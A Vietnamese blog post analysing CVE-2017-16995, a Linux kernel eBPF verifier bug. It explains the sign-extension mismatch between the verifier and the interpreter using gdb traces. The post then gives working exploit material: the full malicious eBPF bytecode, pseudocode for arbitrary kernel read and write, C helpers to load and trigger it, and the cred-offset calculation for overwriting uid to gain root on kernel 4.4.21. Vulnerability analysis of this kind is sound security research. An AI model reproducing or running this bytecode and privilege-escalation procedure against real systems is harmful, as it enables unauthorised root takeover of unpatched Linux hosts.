Thứ Bảy, 30 tháng 3, 2019

Phân tích CVE-2017-16995

Phân tích CVE-2017-16995


Phần 1: Cơ bản về eBPF

  • eBPF extension Berkeley Packet Filter có chức năng để lọc các gói tin nghĩa là khi một gói tin đến thì eBPF sẽ áp dụng các luật đã có sẵn để thực hiện các hành vi đúng theo ý của người quản trị. Ta có thể tự định nghĩa các instruction và giao tiếp với eBPF thông qua các API có sẵn. Để định nghĩa thì phải dùng eBPF program và có cấu trúc và các tập thanh ghi riêng.
    • xem thêm về các API của eBPF link
    • eBPF program gồm 10 thanh ghi R0-R10 trong đó R10 là frame pointer read-only.
    • Cấu trúc của bpf instruction:
    struct bpf_insn {
    __u8    code;       /* opcode */
    __u8    dst_reg:4;  /* dest register */
    __u8    src_reg:4;  /* source register */
    __s16   off;        /* signed offset */
    __s32   imm;        /* signed immediate constant */
    };
    • Ví dụ "\xb4\x09\x00\x00\xff\xff\xff\xff"
      • code: b4, dst_reg: 9, src_reg: 0, off: 0, imm: ffffffff
      • Trường code dùng để định nghĩa instruction đó dùng để làm gì (ví dụ b4 = mov)

Phần 2: Phân tích lỗi

  • Ta cần để ý tới 2 hàm quan trọng đó là do_check (kernel/bpf/verifier.c) và bpf_prog_run (kernel/bpf/verifier.c)
    • do_check dùng để kiểm tra tính hợp lệ của các instruction. Nó đảm bảo khi các instruction thực thi thì sẽ không ảnh hưởng tơi vùng khác hoặc làm các hành động có nguy hiểm cho hệ thống
    • bpf_prog_run dùng để thực thi các instruction được truyền vào

Phân tích đoạn đầu của mã khai thác

  • các hàm do_check và bpf_prog_run sẽ được debug theo đầu nào này.
  • Để đơn giản thì ta sẽ phân tích đoạn instruction ta truyền vào cho eBPF.
    • 3 dòng đầu tiên. Mục đích là để bypass
    "\xb4\x09\x00\x00\xff\xff\xff\xff"
    "\x55\x09\x02\x00\xff\xff\xff\xff"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    
    • Nội dung của 3 đoạn instruction có nghĩa là:
    {
     r9 = u32(-1);
     if(r9==0xffffff){
      exit;
     }
     ........ (some malicious code)
    }

Hàm do_check

  • Hàm do_check sẽ gọi tới hàm check_cond_jmp_op để kiểm chọn nhánh sẽ thực thi
    else if (class == BPF_JMP) {
            u8 opcode = BPF_OP(insn->code);
            if (opcode == BPF_CALL) {
                   //some code
            }
            else if (opcode == BPF_JA) {
                   //some code
            }
            else if (opcode == BPF_EXIT) {
                   //some code
            }else {
                   err = check_cond_jmp_op(env, insn, &insn_idx);
                   if (err)
                            return err;
            }
    }
  • Trong check_cond_jmp_op
    if (BPF_SRC(insn->code) == BPF_K &&
                (opcode == BPF_JEQ || opcode == BPF_JNE) &&
                regs[insn->dst_reg].type == CONST_IMM &&
                regs[insn->dst_reg].imm == insn->imm) {
                    if (opcode == BPF_JEQ) {
                            /* if (imm == imm) goto pc+off;
                             * only follow the goto, ignore fall-through
                             */
                            *insn_idx += insn->off;
                            return 0;
                    } else {
                            /* if (imm != imm) goto pc+off;
                             * only follow fall-through branch, since
                 * that's where the program will go
                 */
                return 0;
            }
        }
    • Tại dòng regs[insn->dst_reg].imm == insn->imm) thì nó sẽ kiểm tra 2 signed integer cả 2 đều kiểu là U32. Nghĩa là sẽ so sánh 0xffffffff và 0xffffffff.
    Breakpoint 3, 0xffffffff8111318e in check_cond_jmp_op (insn_idx=<optimized out>, insn=<optimized out>, env=<optimized out>) at kernel/bpf/verifier.c:1219
    1219            regs[insn->dst_reg].type == CONST_IMM &&
    => 0xffffffff8111318e <bpf_check+7918>:    cmp    %ecx,0x8(%rax)
       0xffffffff81113191 <bpf_check+7921>:   jne    0xffffffff81112cbc <bpf_check+6684>
       0xffffffff81113197 <bpf_check+7927>:   cmpb   $0x10,-0x78(%rbp)
       0xffffffff8111319b <bpf_check+7931>:   jne    0xffffffff81111edf <bpf_check+3135>
    ecx            0xffffffff
    $3 = 0xffff88007b9e70a8
    0xffff88007b9e70a8: 0x0000000000000008  0x00000000ffffffff
    • Vấn đề ở đây là nó luôn tin phép so sánh này đúng và sẽ không kiểm tra các instruction nằm đằng sau. Ta sẽ nói tiếp ở phần sau

Hàm bpf_prog_run

  • Hàm bị lỗi:
    #define DST regs[insn->dst_reg]
    #define SRC regs[insn->src_reg]
    #define FP  regs[BPF_REG_FP]
    #define ARG1    regs[BPF_REG_ARG1]
    #define CTX regs[BPF_REG_CTX]
    #define IMM insn->imm
    //definition of regs
    u64 regs[MAX_BPF_REG], tmp;
    //jump branch for BPF_ALU|BPF_MOV|BPF_K
    ALU_MOV_K:
     DST = (u32) IMM;
     CONT;
    //jump branch for BPF_JMP|BPF_JNE|BPF_K
    JMP_JNE_K:
    if (DST != IMM) {
        insn += insn->off;
        CONT_JMP;
    }
    CONT;
    • Ta có thể thấy rằng DST có dạng u64 nên khi ép kiểu xuống thì giá trị không phải là 0xffffffff mà nó sẽ có giá trị là 0xffffffffffffffff nhưng imm = 0xffffffff nên điều kiện kiểm tra sẽ bị sai dẫn đến nhánh khác được thực thi thay vì nhánh mà hàn do_check nghĩ
    • Đặt breakpoint tại DST = (u32) IMM;
    0xffffffff81171b6a <__bpf_prog_run+1562>    and    eax, 0xf
    0xffffffff81171b6d <__bpf_prog_run+1565>    mov    qword ptr [rbp + rax*8 - 0x278], rdi
    0xffffffff81171b75 <__bpf_prog_run+1573>    movzx  eax, byte ptr [rbx]
    0xffffffff81171b78 <__bpf_prog_run+1576>    jmp    qword ptr [r12 + rax*8]
    ↓
    0xffffffff81171e3b <__bpf_prog_run+2283>    movzx  eax, byte ptr [rbx + 1]
    ► 0xffffffff81171e3f <__bpf_prog_run+2287>    movsxd rdx, dword ptr [rbx + 4]
    pwndbg> x/gx $rbx+4
    0xffffc90000461034:     0x000000b7ffffffff
    • sau lệnh này thì rdx có giá trị là 0xffffffffffffffff thay vì 0xffffffff
    0xffffffff81171b6d <__bpf_prog_run+1565>    mov    qword ptr [rbp + rax*8 - 0x278], rdi
    0xffffffff81171b75 <__bpf_prog_run+1573>    movzx  eax, byte ptr [rbx]
    0xffffffff81171b78 <__bpf_prog_run+1576>    jmp    qword ptr [r12 + rax*8]
    ↓
    0xffffffff81171e3b <__bpf_prog_run+2283>    movzx  eax, byte ptr [rbx + 1]
    0xffffffff81171e3f <__bpf_prog_run+2287>    movsxd rdx, dword ptr [rbx + 4]
    ► 0xffffffff81171e43 <__bpf_prog_run+2291>    and    eax, 0xf
    0xffffffff81171e46 <__bpf_prog_run+2294>    cmp    qword ptr [rbp + rax*8 - 0x278], rdx
    0xffffffff81171e4e <__bpf_prog_run+2302>    je     __bpf_prog_run+5036 <0xffffffff811728fc>
    0xffffffff81171e54 <__bpf_prog_run+2308>    movsx  rax, word ptr [rbx + 2]
    0xffffffff81171e59 <__bpf_prog_run+2313>    lea    rbx, [rbx + rax*8 + 8]
    0xffffffff81171e5e <__bpf_prog_run+2318>    movzx  eax, byte ptr [rbx]
    pwndbg> i r rdx
    rdx            0xffffffffffffffff       -1
    • Và đây là khi so sánh if (DST != IMM)
    0xffffffff81171e43 <__bpf_prog_run+2291>    and    eax, 0xf0xffffffff81171e46 <__bpf_prog_run+2294>    cmp    qword ptr [rbp + rax*8 - 0x278], rdx
    0xffffffff81171e4e <__bpf_prog_run+2302>    je     __bpf_prog_run+5036 <0xffffffff811728fc>
    0xffffffff81171e54 <__bpf_prog_run+2308>    movsx  rax, word ptr [rbx + 2]
    0xffffffff81171e59 <__bpf_prog_run+2313>    lea    rbx, [rbx + rax*8 + 8]
    0xffffffff81171e5e <__bpf_prog_run+2318>    movzx  eax, byte ptr [rbx]
    0xffffffff81171e61 <__bpf_prog_run+2321>    jmp    qword ptr [r12 + rax*8]
    pwndbg> i r rdx
    rdx            0xffffffffffffffff       -1
    pwndbg> x/gx $rbp + $rax*8 - 0x278
    0xffff8800165dba78:     0x00000000ffffffff
    • Chứng tỏ rằng đoạn kiểm tra là sai.

Tổng kết vấn đề

  • Khi ta load kịch bản instruction như trên, hàm bpf_check kiểm tra thì nó thấy nhánh so sánh là đúng và hiểu là so sáng 0xffffffff với 0xffffffff nên chương trình chạy đến đoạn exit và thoát ra. Nên không kiểm tra đoạn code phía sau.
  • Nhưng khi hàm bpf_prog_run chạy lên và đoạn so sánh lại bị hiểu là 0xffffffff vs 0xffffffffffffffff nên nó sẽ nhận là sai và xuống nhánh dưới và thực thi mã độc
  • Thật vậy. Đây là đoạn bpf log được in ra sau khi chạy thành công. Tuy các nhánh phía dưới được thực thi nhưng chỉ được ghi nhận 4 instruction đầu tiên
    0: (b4) (u32) r9 = (u32) -1
    1: (55) if r9 != 0xffffffff goto pc+2
    2: (b7) r0 = 0
    3: (95) exit
    
  • Như vậy ta có thể thực hiện các instruction độc hại và dẫn đến có toàn quyền đọc ghi với hệ thống

Phần 3: Khai thác

Tạo tập instruction

  • Tập instruction sẽ gửi lên kernel
    "\xb4\x09\x00\x00\xff\xff\xff\xff"
    "\x55\x09\x02\x00\xff\xff\xff\xff"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x18\x19\x00\x00\x03\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xbf\x91\x00\x00\x00\x00\x00\x00"
    "\xbf\xa2\x00\x00\x00\x00\x00\x00"
    "\x07\x02\x00\x00\xfc\xff\xff\xff"
    "\x62\x0a\xfc\xff\x00\x00\x00\x00"
    "\x85\x00\x00\x00\x01\x00\x00\x00"
    "\x55\x00\x01\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x79\x06\x00\x00\x00\x00\x00\x00"
    "\xbf\x91\x00\x00\x00\x00\x00\x00"
    "\xbf\xa2\x00\x00\x00\x00\x00\x00"
    "\x07\x02\x00\x00\xfc\xff\xff\xff"
    "\x62\x0a\xfc\xff\x01\x00\x00\x00"
    "\x85\x00\x00\x00\x01\x00\x00\x00"
    "\x55\x00\x01\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x79\x07\x00\x00\x00\x00\x00\x00"
    "\xbf\x91\x00\x00\x00\x00\x00\x00"
    "\xbf\xa2\x00\x00\x00\x00\x00\x00"
    "\x07\x02\x00\x00\xfc\xff\xff\xff"
    "\x62\x0a\xfc\xff\x02\x00\x00\x00"
    "\x85\x00\x00\x00\x01\x00\x00\x00"
    "\x55\x00\x01\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x79\x08\x00\x00\x00\x00\x00\x00"
    "\xbf\x02\x00\x00\x00\x00\x00\x00"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    "\x55\x06\x03\x00\x00\x00\x00\x00"
    "\x79\x73\x00\x00\x00\x00\x00\x00"
    "\x7b\x32\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x55\x06\x02\x00\x01\x00\x00\x00"
    "\x7b\xa2\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x7b\x87\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00";
  • Ý nghĩa.
    • 3 dòng đầu dùng để bypass hàm do_check đã được nhắc phía trên.
    "\xb4\x09\x00\x00\xff\xff\xff\xff"
    "\x55\x09\x02\x00\xff\xff\xff\xff"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    • Dưới đây là mã giả của instruction từ dòng 4 trở xuống.
    R1 = bpf_map;
    R2 = R10;
    R2 = R2 - 4;
    *(R10-4) = 0;
    R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 0
    if(R0 == 0)
         JUMP_EXIT
    R6 = *R0
    R1 = bpf_map;
    R2 = R10;
    R2 = R2 - 4;
    *(R10-4) = 1;
    R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 1
    if(R0 == 0)
         JUMP_EXIT
    R7 = *R0
    R1 = bpf_map;
    R2 = R10;
    R2 = R2 - 4;
    *(R10-4) = 2;
    R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 2
    if(R0 == 0)
         JUMP_EXIT
    R8 = *R0
    R2 = R0;
    R0 = 0;
    if(R6 == 0)
    {
          R3 = *(R7);
          *R2 = R3;
    }
    else if(R6 == 1)
    {
          *R2 = R10;
    }
    else if(R6 == 2)
    {
          *(R7) = R8;
    }
    • Mục đích là cho ta có quyền đọc và ghi tùy ý tới mọi địa chỉ. Tất cả các giá trị này để là ở phía user truyền lên qua BPF_MAP_UPDATE_ELEM và có thể đọc được nhờ BPF_MAP_LOOKUP_ELEM Tham khảo
      • Bây giờ thứ ta cần nhớ là R6 R7 R8 R9 đều là do user gửi lên.
        • Nếu R6 == 0 thì sẽ ghi giá trị R7 trỏ đến vào R2 (đọc tùy ý)
        • Nếu R6 == 1 thì giá trị R10 (frame pointer) sẽ được ghi vào R2 (leak frame pointer)
        • Nếu R6 == 2 thì giá trị R8 sẽ được lưu vào vùng R7 trỏ tới (ghi tùy ý)

Khai thác

  • Bước 1: Bước khởi tạo: bpf_map, gửi tập instruction lên kernel, tạo socket
    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
    socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);
    setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd));
  • Bước 2: Leak địa chỉ và ghi đề vào vùng cred để leo quyền
    • Ta leak frame pointer thông qua optione 1 của mã độc và vì lúc này giá trị đó đã được lưu ở bpf_map thứ 2 nên ta đọc nó bằng bpf_lookup_elem
    static int bpf_update_elem(uint64_t key, uint64_t value) {
     union bpf_attr attr = {
      .map_fd = mapfd,
      .key = (__u64)&key,
      .value = (__u64)&value,
      .flags = 0,
     };
    #define __update_elem(a, b, c) \
     bpf_update_elem(0, (a)); \
     bpf_update_elem(1, (b)); \
     bpf_update_elem(2, (c)); \
     writemsg();
    static uint64_t get_value(int key) {
     uint64_t value;
     bpf_lookup_elem(&key, &value);
     return value;
    }
    static int bpf_lookup_elem(void *key, void *value) {
     union bpf_attr attr = {
      .map_fd = mapfd,
      .key = (__u64)key,
      .value = (__u64)value,
     };
     return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
    } 
    static uint64_t __get_fp(void) {
     __update_elem(1, 0, 0);
     return get_value(2);
    }
    • Khi đã có frame pointer ta tính stack pointer:
    stack_pointer = frame_pointer & ~(0x4000 - 1);
    • Tại phiên bản này (4.4.21) thì task_struct được đặt ở ngay đầu của stack. Nên nếu tìm đc stack_pointer thì ta chỉ cần đọc giá trị tại địa chỉ này thì ta sẽ biết được vị trí của task_struct.
      • linux/include/linux/sched.h
      union thread_union {
      struct thread_info thread_info;
      unsigned long stack[THREAD_SIZE/sizeof(long)];
      };
      • arch/x86/include/asm/thread_info.h
      struct thread_info {
      struct task_struct *task;  /* main task structure */
      __u32   flags;  /* low level flags */
      __u32   status;  /* thread synchronous flags */
      __u32   cpu;  /* current CPU */
      mm_segment_t  addr_limit;
      unsigned int  sig_on_uaccess_error:1;
      unsigned int  uaccess_err:1; /* uaccess failed */
      };
    • Khi biết được task_struct thì ta sẽ tính ofset từ task_struct tới cred
       0xffffffff81172b1b <map_update_elem+235>    mov    edx, dword ptr [r14 + 0xc]
       0xffffffff81172b1f <map_update_elem+239>    mov    rsi, qword ptr [rbp - 0x38]
       0xffffffff81172b23 <map_update_elem+243>    mov    rdi, rax
       0xffffffff81172b26 <map_update_elem+246>    mov    qword ptr [rbp - 0x30], rax
       0xffffffff81172b2a <map_update_elem+250>    call   _copy_from_user <0xffffffff813f5ff0>
     ► 0xffffffff81172b2f <map_update_elem+255>    test   rax, rax
       0xffffffff81172b32 <map_update_elem+258>    mov    edx, 0xfffffff2
       0xffffffff81172b37 <map_update_elem+263>    mov    r8, qword ptr [rbp - 0x30]
       0xffffffff81172b3b <map_update_elem+267>    je     map_update_elem+323 <0xffffffff81172b73>
        ↓
       0xffffffff81172b73 <map_update_elem+323>    mov    rax, qword ptr [r14 + 0x20]
       0xffffffff81172b77 <map_update_elem+327>    mov    rdx, r8
                  0
    pwndbg> p/x (&(((struct task_struct*)(0xffff88007886d280))->cred))
    $44 = 0xffff88007886d850
    pwndbg> p/x 0xffff88007886d850-0xffff88007886d280
    $45 = 0x5d0
    • Vậy ofset = 0x5d0. Ta leak địa chỉa ở ông nhớ task_struct + 0x5d0 là sẽ ra cred
    credptr = __read(task_struct + 0x5d0);
    • Leak được địa chỉ của cred và tính được địa chỉ của uid. Bây giờ ta chỉ cần ghi giá trị 0 vào trường uid là có thể lên root được.
    pwndbg> x/10gx 0xffff8800165d8000 (stack pointer)
    0xffff8800165d8000:     0xffff8800246f6040 (task_struct)      0x0000000000000000
    0xffff8800165d8010:     0x0000000000000000      0x00007ffffffff000
    0xffff8800165d8020:     0x0000000000000000      0x0000000057ac6e9d
    0xffff8800165d8030:     0x0000000000000000      0x0000000000000000
    0xffff8800165d8040:     0x0000000000000000      0x0000000000000000
    pwndbg> p/x *(((struct task_struct*)(0xffff8800246f6040))->cred)
    $2 = {
      usage = {
        counter = 0x9
      },
      uid = {  <<--- uid cần ghi đè
        val = 0x3e8
      },
      gid = {
        val = 0x3e8
      },
      suid = {
        val = 0x3e8
      },
      sgid = {
        val = 0x3e8
      },
    • Kết quả

Phần 4: Tham khảo

Không có nhận xét nào:

Đăng nhận xét